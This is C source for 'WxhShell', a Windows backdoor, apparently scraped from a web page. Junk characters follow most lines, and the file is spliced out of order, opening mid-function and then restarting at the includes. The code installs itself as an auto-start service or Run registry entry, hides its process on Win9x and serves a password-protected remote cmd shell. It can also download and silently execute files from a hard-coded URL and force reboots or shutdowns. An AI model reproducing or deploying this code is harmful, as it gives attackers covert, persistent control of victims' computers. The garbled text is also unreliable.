    if(Boot(SHUTDOWN)) Lx>[`QT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +- qk\sQ  
    else { ez32k[eV!  
    closesocket(wsh); \bT0\ (Js\  
    ExitThread(0); }*bp4<|  
    } <eEIR  
    break; B](R(x>L  
    } 33<{1Y[Q6E  
  // 获取shell 0p.MH~mx  
  case 's': { zwC ,,U  
    CmdShell(wsh); 5{(4%  
    closesocket(wsh); &S xF"pYV  
    ExitThread(0); Zq&'a_  
    break; K 3\a~_0  
  } +%TgX&a  
  // 退出 _'w:Sx?d7  
  case 'x': { `^/8dIya  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ub f5 :  
    CloseIt(wsh); P<X?  
    break; Khd A;bF  
    } *g*"bi*  
  // 离开 pNd`fV#jX  
  case 'q': { gpyio1V>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  \xp0n  
    closesocket(wsh); "0%K3d+  
    WSACleanup(); 'AK '(cZ  
    exit(1); ftMlm_u  
    break; Ws5N|g  
        } m lc8q s  
  } ~zfF*A  
  } %J-:%i  
"7EK{6&jQ  
  // 提示信息 ^U,iDK_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @8{8|P  
} ]h1.1@>xc  
  } i. )^}id  
].d%R a:{  
  return; 517"x@6Q  
} cZ)JvU9]  
d#+Ne f5  
// shell模块句柄 \(7A7~  
int CmdShell(SOCKET sock) o:v_I{  
{ !S&/Zp  
STARTUPINFO si; ?@PSD\  
ZeroMemory(&si,sizeof(si)); P9m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a$?d_BX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z\<,}x}V  
PROCESS_INFORMATION ProcessInfo; ma-GvWD2  
char cmdline[]="cmd"; GU`q^q@Ea  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,j>FC j>  
  return 0; Z[VrRT,\c  
} I}u\ov_Su  
0`.&U^dG  
// 自身启动模式 |WS@q'  
int StartFromService(void) i 1w ]j  
{ evZP*N~G  
typedef struct p#w8$Qjp  
{ u9Adu`  
  DWORD ExitStatus; B&B4 P  
  DWORD PebBaseAddress; %6@)fRw  
  DWORD AffinityMask; Tv'1IE  
  DWORD BasePriority; pHb,*C</  
  ULONG UniqueProcessId; DjaXJ?'  
  ULONG InheritedFromUniqueProcessId; pjS##pgVq  
}   PROCESS_BASIC_INFORMATION; n;. M5}O  
Q3& ?28  
PROCNTQSIP NtQueryInformationProcess; H (K!{k  
%CnVK1u!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ga9iPv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `D=OEc  
^!exH(g  
  HANDLE             hProcess; =9 QyO h  
  PROCESS_BASIC_INFORMATION pbi; \i[N ";K  
-[vw 8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &+02Sn3A  
  if(NULL == hInst ) return 0; =Bc{0p*  
LiFR7\z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 837:;<T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7;@YR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tk -)N+M.  
GIYdI#0RC  
  if (!NtQueryInformationProcess) return 0; !wE% <Fh  
>pZ _  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "LDNkw'  
  if(!hProcess) return 0; L'$\[~Ug  
yj'lHC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; > .}G[C  
X} V]3  
  CloseHandle(hProcess); ~0024B[G  
 Q'cWqr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x])j]k  
if(hProcess==NULL) return 0; uL7}JQ,  
gA_oJW4_  
HMODULE hMod; -">Tvi4  
char procName[255]; g qORE/[  
unsigned long cbNeeded; K!(WcoA&2i  
o$->|k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  8zRw\]?  
4e\wC  
  CloseHandle(hProcess); fA?Wf[`x  
4MDVR/Z7  
if(strstr(procName,"services")) return 1; // 以服务启动 'HfI~wN  
[7x;H  
  return 0; // 注册表启动 xS/=9l/G  
} X`&Us  
V6ECL6n  
// 主模块 q2|z \  
int StartWxhshell(LPSTR lpCmdLine) ^"4?Q  
{ jJYCGK$=  
  SOCKET wsl; g3vbskY|  
BOOL val=TRUE; SZ4y\I  
  int port=0; <l,e6K  
  struct sockaddr_in door; c|m?f  
tMU10=d  
  if(wscfg.ws_autoins) Install(); @ >'Wiq!  
@o@SU"[?_  
port=atoi(lpCmdLine); ?5Z-w  
HW_2!t_R  
if(port<=0) port=wscfg.ws_port; _{^F8  
-KbO[b\V  
  WSADATA data; 8Dxg6>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ( Ygy%O%  
2>x[_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /^{Q(R(X<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *a_QuEw _k  
  door.sin_family = AF_INET; .'+JA:3R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b)XGr?  
  door.sin_port = htons(port); ZA_~o#0%  
p+Bvfn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tIBEja^l  
closesocket(wsl); {hO|{vz  
return 1; ZFX}=?+  
} : +^`VLIf  
N8r+Q%ov  
  if(listen(wsl,2) == INVALID_SOCKET) { `.VkR5/  
closesocket(wsl); -"^"& )  
return 1; +&X>ul  
} 2"xhFxoD7  
  Wxhshell(wsl); Nt<Ac&6 s  
  WSACleanup(); ByWad@-6i  
yYk?K<ou  
return 0; T8T,G4Q  
_mQ~[}y+?  
} k ;vOPcw  
[daR)C  
// 以NT服务方式启动 LWM& k#i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 86&r;c:  
{ `i!-@WN"  
DWORD   status = 0; Q3)[ *61e  
  DWORD   specificError = 0xfffffff; TxkvHiq2  
I[ZWOi\- ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uWXxK"J.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $:D L+E-}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0B`rTLwB  
  serviceStatus.dwWin32ExitCode     = 0; _#P5j#  
  serviceStatus.dwServiceSpecificExitCode = 0; eBECY(QMQ  
  serviceStatus.dwCheckPoint       = 0; g2r8J0v  
  serviceStatus.dwWaitHint       = 0; 1*@Q~f:Uk  
G in  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \=W t{  
  if (hServiceStatusHandle==0) return; {2|sk9?W  
5= MM^$QG  
status = GetLastError(); /KJWo0zo  
  if (status!=NO_ERROR) Tc;BE  
{ eLN(NSPoS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xdsF! Zb  
    serviceStatus.dwCheckPoint       = 0; rPW 9lG  
    serviceStatus.dwWaitHint       = 0; cz>`$Zz  
    serviceStatus.dwWin32ExitCode     = status; "Jyb?5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7.^1I7O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <l9qhqHv&  
    return; .|kp`-F51  
  } = 6w(9O  
t9 id^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {K=[Fu=  
  serviceStatus.dwCheckPoint       = 0; C%Op[H3  
  serviceStatus.dwWaitHint       = 0; DGAg#jh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ORV'dr  
} 37,)/8]lG  
/z,+W9`  
// 处理NT服务事件,比如:启动、停止 M^A;tPw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q F_K^(  
{  #Bn7Cc  
switch(fdwControl) o648 xUP  
{ l>>, ~  
case SERVICE_CONTROL_STOP: /0F <GBQ"v  
  serviceStatus.dwWin32ExitCode = 0; %eqL)pC]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z?_5fte`  
  serviceStatus.dwCheckPoint   = 0; xF9PjnWF=  
  serviceStatus.dwWaitHint     = 0; $0E_4#kwB  
  { 1T7;=<g`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fNi_C"<  
  } K* 0]*am|v  
  return; P\|i<Ds_M  
case SERVICE_CONTROL_PAUSE: nr9c G/"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G|]39/OO3{  
  break; w~9=6|_  
case SERVICE_CONTROL_CONTINUE: {I_I$x_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m`ab5<%Gn  
  break; (V~PYf%  
case SERVICE_CONTROL_INTERROGATE: |a Ht6F  
  break; W r;?t!  
}; p>]2o\["  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &5wM`  
} R_DZJV O  
oG;;='*  
// 标准应用程序主函数 V$ss[fX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b<rJ@1qtJ  
{ _52BIrAO2  
thSo,uGlW  
// 获取操作系统版本 )wY bcH  
OsIsNt=GetOsVer(); 80ms7 B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d~J4&w  
wms8z  
  // 从命令行安装 U5wO;MA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'xp&)g L  
Q|}Pc>ae  
  // 下载执行文件 [I` 6F6  
if(wscfg.ws_downexe) { PizPsJ|&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nM)H2'%kL&  
  WinExec(wscfg.ws_filenam,SW_HIDE); [P_1a`b  
} nK9A=H'Hc  
6|:]2S  
if(!OsIsNt) { !23#Bz7  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y|iALrx  
HideProc(); rj].bGQ,+  
StartWxhshell(lpCmdLine); `#~HCl  
} M e  
else U8KEg)Msk  
  if(StartFromService()) f)+fdc  
  // 以服务方式启动 3l@={Ts  
  StartServiceCtrlDispatcher(DispatchTable); 0zAj.iG  
else L);kwx7{LW  
  // 普通方式启动 /TgG^|  
  StartWxhshell(lpCmdLine); >m{)shBX  
cx8H.L  
return 0; WNPdym  
} "8 "7AoE  
^*]0quu=z  
:bgi*pR{  
UI 7JMeV  
=========================================== yVM 1W"Q  
29#;;n}p  
ewtoAru  
@GG Pw9a  
,Mwj`fgh  
$u9y H Z  
" <3>Ou(F  
xCV3HnZ  
#include <stdio.h> U:`g12  
#include <string.h> `?VB)  
#include <windows.h> oY{r83h{  
#include <winsock2.h> h&vq}  
#include <winsvc.h> |f~p3KCfV  
#include <urlmon.h> #9Z*.  
5xHl6T+  
#pragma comment (lib, "Ws2_32.lib") r=+r5k"`  
#pragma comment (lib, "urlmon.lib") H{P"$zj`l  
&4yI]  
#define MAX_USER   100 // 最大客户端连接数 |vnfY; ;z1  
#define BUF_SOCK   200 // sock buffer <c6C+OWT,  
#define KEY_BUFF   255 // 输入 buffer k]"Rg2>%  
,g$N  
#define REBOOT     0   // 重启 ET`;TfqM  
#define SHUTDOWN   1   // 关机 X] /r'Tz  
s Hu~;)  
#define DEF_PORT   5000 // 监听端口 4PEJ}B W  
7oDr`=q1]r  
#define REG_LEN     16   // 注册表键长度 e}e\*BL  
#define SVC_LEN     80   // NT服务名长度 HzT"{N9  
!58-3F%P  
// 从dll定义API :r[`bqC;\*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *~|xj,md  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QP?Z+P<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .Tdl'y:..  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y@G5I>v  
,bCPO` 45  
// wxhshell配置信息 (y AQm pp  
struct WSCFG { t\]CdH`+  
  int ws_port;         // 监听端口 -C5Qh&~W  
  char ws_passstr[REG_LEN]; // 口令 SD6xi\8  
  int ws_autoins;       // 安装标记, 1=yes 0=no w8(qiU  
  char ws_regname[REG_LEN]; // 注册表键名 _~DFZt@T  
  char ws_svcname[REG_LEN]; // 服务名 y?M99Vo4?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 928szUo:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M#d_kDMw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R/iw#.Yy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `W8GfbL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =1%3". "n@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l\*}  
1HBch]J  
}; '@Y@H,  
XWbe|K!e  
// default Wxhshell configuration /cr.}D2O  
struct WSCFG wscfg={DEF_PORT, gR(*lXm5w  
    "xuhuanlingzhe", 5HioxHL  
    1, Xt/muV  
    "Wxhshell", <vA^%D<\~  
    "Wxhshell", Y=4,d4uu  
            "WxhShell Service", ;/SM^&Y  
    "Wrsky Windows CmdShell Service", K,^{|5'3q  
    "Please Input Your Password: ", (6?pBdZ  
  1, VzMoWD;  
  "http://www.wrsky.com/wxhshell.exe", t}`|\*a  
  "Wxhshell.exe" ]`y4n=L.  
    }; Kig.hHj@  
HlY4%M5q/  
// 消息定义模块 >0i?}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tfgx>2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q0w5ADd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O.1Z3~r-N  
char *msg_ws_ext="\n\rExit."; abCcZ<=|b  
char *msg_ws_end="\n\rQuit."; ?4_^}B9  
char *msg_ws_boot="\n\rReboot..."; 6A/Nlk.  
char *msg_ws_poff="\n\rShutdown..."; r+>E`GGQ  
char *msg_ws_down="\n\rSave to "; VD +8j29  
7##nY3",^  
char *msg_ws_err="\n\rErr!"; ^`\c;!)F<  
char *msg_ws_ok="\n\rOK!"; IX^k<Jqr  
xue-5 '  
char ExeFile[MAX_PATH]; lb&tAl"D  
int nUser = 0; |z|5j!Nfh  
HANDLE handles[MAX_USER]; l0u6nGkh  
int OsIsNt; +vLuzM-  
L;5j hVy  
SERVICE_STATUS       serviceStatus; co<){5zOT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uz\B^"i|  
klKAwCQ,  
// 函数声明 QM9~O#rL  
int Install(void); < 7zyRm@S  
int Uninstall(void); OcMd'fwO  
int DownloadFile(char *sURL, SOCKET wsh); +:~&"U^ z&  
int Boot(int flag); b2H!{a"  
void HideProc(void); jfS?#;T)  
int GetOsVer(void); Y+V*$73`  
int Wxhshell(SOCKET wsl); <2ffcBv  
void TalkWithClient(void *cs); <h U ZD;  
int CmdShell(SOCKET sock); 1p23&\\~  
int StartFromService(void); Nj.(iBmr  
int StartWxhshell(LPSTR lpCmdLine); x-U:T.+{  
* C~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /[GOs*{zB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f3V&i)w(  
z>&Py(  
// 数据结构和表定义 #:vosVqG  
SERVICE_TABLE_ENTRY DispatchTable[] = WMZa6cH  
{ '9*wr*  
{wscfg.ws_svcname, NTServiceMain}, >;HbD p  
{NULL, NULL} b UAjt>+  
}; Zo;@StN3}T  
=1^Ru*G  
// 自我安装 *WfOB2rU  
int Install(void) + yS"pOT  
{ g;\zD_":l  
  char svExeFile[MAX_PATH]; e&7GW9FSg  
  HKEY key; x7l)i!/$  
  strcpy(svExeFile,ExeFile); /!JpmI  
g84~d(\?  
// 如果是win9x系统,修改注册表设为自启动 M[R, m_p  
if(!OsIsNt) { FD#?pVyPn^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }o=R7n%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gc4N)oq)}b  
  RegCloseKey(key); =@binTC4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cIja^xD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %6L!JN  
  RegCloseKey(key);  ~ceGx  
  return 0; gUL`)t\}*  
    } ePIBg(  
  } =a?l@dI]  
} {.H}+@0  
else { |vTirZP  
.-`7Av+7  
// 如果是NT以上系统,安装为系统服务 b\][ x6zJp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _7]5 Q  
if (schSCManager!=0) E7^tU416  
{ ')bx1gc(?  
  SC_HANDLE schService = CreateService i{T0[\4  
  ( 2*Z~J M  
  schSCManager, P) ^K&7X  
  wscfg.ws_svcname, ;r- \h1iA'  
  wscfg.ws_svcdisp, ]Vl * !,(i  
  SERVICE_ALL_ACCESS, %I(N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y$Js5K@F  
  SERVICE_AUTO_START, #g{ZfO[#  
  SERVICE_ERROR_NORMAL, KTBsH;6  
  svExeFile, [ #A!B#`  
  NULL, 6N~~:Gt  
  NULL, yXppu[=  
  NULL, x nWapG  
  NULL, /qo.Z  
  NULL /_x?PiL  
  ); +%?_1bGX>  
  if (schService!=0) Bu>srX9f  
  { HHWB_QaL  
  CloseServiceHandle(schService); ;'}1   
  CloseServiceHandle(schSCManager);  4rwfY<G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @ L%3}  
  strcat(svExeFile,wscfg.ws_svcname); Cg}cD.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8cfxKUS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uzho>p[ae  
  RegCloseKey(key); M`Y~IG}  
  return 0; WSi Utf|g  
    } _ 97F  
  } &Zd{ElM  
  CloseServiceHandle(schSCManager); m,Q<4'  
} Z)62/`C)  
} C% }FVO\c  
2Ev~[Hb.  
return 1; lY.FmF}k  
} mZ7.#R*}  
9i yNR!  
// 自我卸载 d@7 ]=P:  
int Uninstall(void) WkXa%OZ  
{ 2P!Pbl<  
  HKEY key; ud'r ?QDM  
f/*Xw{s#  
if(!OsIsNt) { _D$|lk-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ga.a"\F.V  
  RegDeleteValue(key,wscfg.ws_regname); }4#%0x`w  
  RegCloseKey(key); !j%vUe;t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @,i:fY  
  RegDeleteValue(key,wscfg.ws_regname); MHI0>QsI  
  RegCloseKey(key); ~BrERUk  
  return 0; c/x ^I{b*  
  } t$]lK6  
} iKLN !QR  
} Wl;F]_|*(  
else { _+ oX9  
nI|jUD +y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]hS4'9lD  
if (schSCManager!=0) ?bmP<(N5/  
{ T.`EDluG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pqo"~&Y|~  
  if (schService!=0) c:>&Bg&,6T  
  { u~bk~ 3.I  
  if(DeleteService(schService)!=0) { l yF~E  
  CloseServiceHandle(schService); DN;g2 R`f  
  CloseServiceHandle(schSCManager); flR6^6E  
  return 0; <^ @1wg  
  } la</IpC  
  CloseServiceHandle(schService); ,wlF n  
  } XcR2]\  
  CloseServiceHandle(schSCManager); (O\5gAx  
} GBHv| GO  
} b5No>U) /  
;} Ty b  
return 1; Z8z.Xn  
} x: `oqbd  
P`@d8 %*;  
// 从指定url下载文件 ;&s`g   
int DownloadFile(char *sURL, SOCKET wsh)  J5*krH2i  
{  pzg|?U  
  HRESULT hr; "n}J6   
char seps[]= "/"; '.c [7zL  
char *token; Ldf<  
char *file; :+bQPzL  
char myURL[MAX_PATH]; F7Mf>."  
char myFILE[MAX_PATH]; :~~}|Eu  
c/^} =t(  
strcpy(myURL,sURL); }XX)U_ x  
  token=strtok(myURL,seps); CDK0 $W n  
  while(token!=NULL) ;v^tUyhCb  
  { i!*w'[G->Y  
    file=token; Urm&4&y  
  token=strtok(NULL,seps); [v^T]L  
  } CJz2.yd  
=!GUQLS{  
GetCurrentDirectory(MAX_PATH,myFILE); zFN:C()ig  
strcat(myFILE, "\\"); Cf91#% :cN  
strcat(myFILE, file); AT<K>&)  
  send(wsh,myFILE,strlen(myFILE),0); M`q>i B  
send(wsh,"...",3,0); z4HIDb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eY-W5TgU  
  if(hr==S_OK) Xjw> Qws  
return 0; &-:ZM0Fl  
else WUvrC  
return 1; Mi%i_T^i  
COH0aNp;  
} @mSdksB/L  
X#EMmB!  
// 系统电源模块 ONH!ms(kb  
int Boot(int flag) AME3hA  
{ s{(aW5$!s  
  HANDLE hToken; cV\(Z6u  
  TOKEN_PRIVILEGES tkp; xdFm-_\-  
-y5^xR  
  if(OsIsNt) { YiJnh47  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }%c2u/PQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zflq|dW  
    tkp.PrivilegeCount = 1; TD'RvTpl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *T-+Pm-Cq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f*,jhJ_I  
if(flag==REBOOT) { tSaLR90Y6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @%d g0F}h  
  return 0; ]JVs/  
} t3|If@T  
else { k@L},Td  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /BjM&v(5/  
  return 0; 12`q9Io"  
} 'W(+rTFf!  
  } %PRG;kR  
  else { (OwAhjHE  
if(flag==REBOOT) { 0"ksNnxK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;R|i@[(J  
  return 0; J3fk3d`2  
} = NHuj.  
else { /{>$E>N;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IppzQ0'=y1  
  return 0; Ls< ";QJc  
} @<=xfs  
} Uy2NZ%rnt  
"(zvI>A  
return 1; )h6hN"#V5  
} gHdNqOy c  
UCG8=+t5T  
// win9x进程隐藏模块 '3TwrY?-  
void HideProc(void) Ydm 0  
{ 6i|5`ZO  
x)N$.7'9OJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7|%|w  
  if ( hKernel != NULL ) i8iv{e2  
  { _1Iy/T@1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KJn@2x6LP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ir&rTGFN  
    FreeLibrary(hKernel); }(k#,&Fv`  
  } TUHm.!+a  
h sG~xRA\  
return; O#LG$Y n*  
} pRWEBd1U  
&|yQwNA*a"  
// 获取操作系统版本 *j5>2-C &  
int GetOsVer(void) %:2EoXN"  
{ jBZlN Ew  
  OSVERSIONINFO winfo; !~Vo'ykwx'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4<}!+X7m  
  GetVersionEx(&winfo); > %h7)}U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) % `Q[?(z  
  return 1; }<R,)ZV^G  
  else iO1ir+B\  
  return 0; ;;e\"%}@=q  
} \d"JYym  
h1}U#XV  
// 客户端句柄模块 R=&9M4  
int Wxhshell(SOCKET wsl) I@Cq<:+(3  
{ :btb|^C  
  SOCKET wsh;  lS@0 $  
  struct sockaddr_in client; MDV<[${   
  DWORD myID; ?YE'J~0A6  
-#<6  
  while(nUser<MAX_USER) T8<pb^#  
{ .5L|(B=H  
  int nSize=sizeof(client); s?Lx\?T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >QyJRMY  
  if(wsh==INVALID_SOCKET) return 1; 21NGsG  
.#^ta9^t7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?tzJ7PJ~B  
if(handles[nUser]==0) be?>C 5  
  closesocket(wsh); ],`xd_=]=  
else 7egE."  
  nUser++; qt_ocOr  
  } { 0\Ez}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] V|hDU=t  
xgDd5`W  
  return 0; 5OEo(&  
} <PLQY  
#IJm*_J<  
// 关闭 socket 44Dytpvg  
void CloseIt(SOCKET wsh) Lk%`hsv  
{ \^o8qw'pt  
closesocket(wsh); ga?:k,xv  
nUser--; bn 7"!6  
ExitThread(0); 9NF2a)&~  
} _{j'` #  
Z2n Jw  
// 客户端请求句柄 rU6F$I=  
void TalkWithClient(void *cs) C@x\ZG5rA  
{ gB7kb$J  
BF^dNgn+%K  
  SOCKET wsh=(SOCKET)cs; MzEeDN  
  char pwd[SVC_LEN]; m(>MP/  
  char cmd[KEY_BUFF]; UY>[  
char chr[1]; ^}SP,lg'  
int i,j; 4X-"yQ<U  
rX7GVg@H  
  while (nUser < MAX_USER) { Wd`*<+t]  
oW}nr<G{<  
if(wscfg.ws_passstr) { 7eNLs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mM9aT0_w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [^Z)f<l  
  //ZeroMemory(pwd,KEY_BUFF); 2[!3!@.  
      i=0; u+/Uc:XK)  
  while(i<SVC_LEN) { {c  : 7:  
]& 8c 45c  
  // 设置超时 ~];r{IU  
  fd_set FdRead; 'FNnFm  
  struct timeval TimeOut; $-D}y:  
  FD_ZERO(&FdRead); Yg /g9$'  
  FD_SET(wsh,&FdRead); ]I,(^Xq3a(  
  TimeOut.tv_sec=8; V0)bPcS/  
  TimeOut.tv_usec=0; ^C=dq(i=[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vc[aNpE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r'J="^k{  
jgvzp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SND@#?hiO  
  pwd=chr[0]; @V?T'@W7D  
  if(chr[0]==0xd || chr[0]==0xa) { ,`Keqfx  
  pwd=0; e{EC# %x_  
  break; kzE<Y  
  } V` T l$EF  
  i++; LC1WVK/  
    } ]OSq}ul  
>jU25"XI[  
  // 如果是非法用户,关闭 socket 0g 2?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iuyq!R4:7  
} }/w]+f*  
m?< ^b_a}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~8 B]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f+ cN'jH E  
3"BSP3/ [l  
while(1) { ~'V&[]nh8  
0OXl`V`w  
  ZeroMemory(cmd,KEY_BUFF); A"e4w?  
+>&i]x(b  
      // 自动支持客户端 telnet标准   oF0DprP@  
  j=0; hW!2C6  
  while(j<KEY_BUFF) { $:?Dyu(Il  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rp '^]Zx  
  cmd[j]=chr[0]; C66 9:%  
  if(chr[0]==0xa || chr[0]==0xd) { HNRAtRvnY  
  cmd[j]=0; |.4>#<$__  
  break;  Vp7d  
  } E^iShe  
  j++; C'y4 ~7  
    } `fuQ t4  
s=e`}4  
  // 下载文件 {Gr"lOi*@  
  if(strstr(cmd,"http://")) { z`qb>Y"xf3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gx7bV}&PN  
  if(DownloadFile(cmd,wsh)) UX2@eyejQ7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;^TSla+t+  
  else 6b7c9n Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y>#_LhTX-  
  } O$nW  
  else { EI9;J-c  
Pn,>eD*g  
    switch(cmd[0]) { {Rdh4ZKh  
  =@nE:uto]  
  // 帮助 5DpvMhc_  
  case '?': { !kG|BJ$j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); naro  
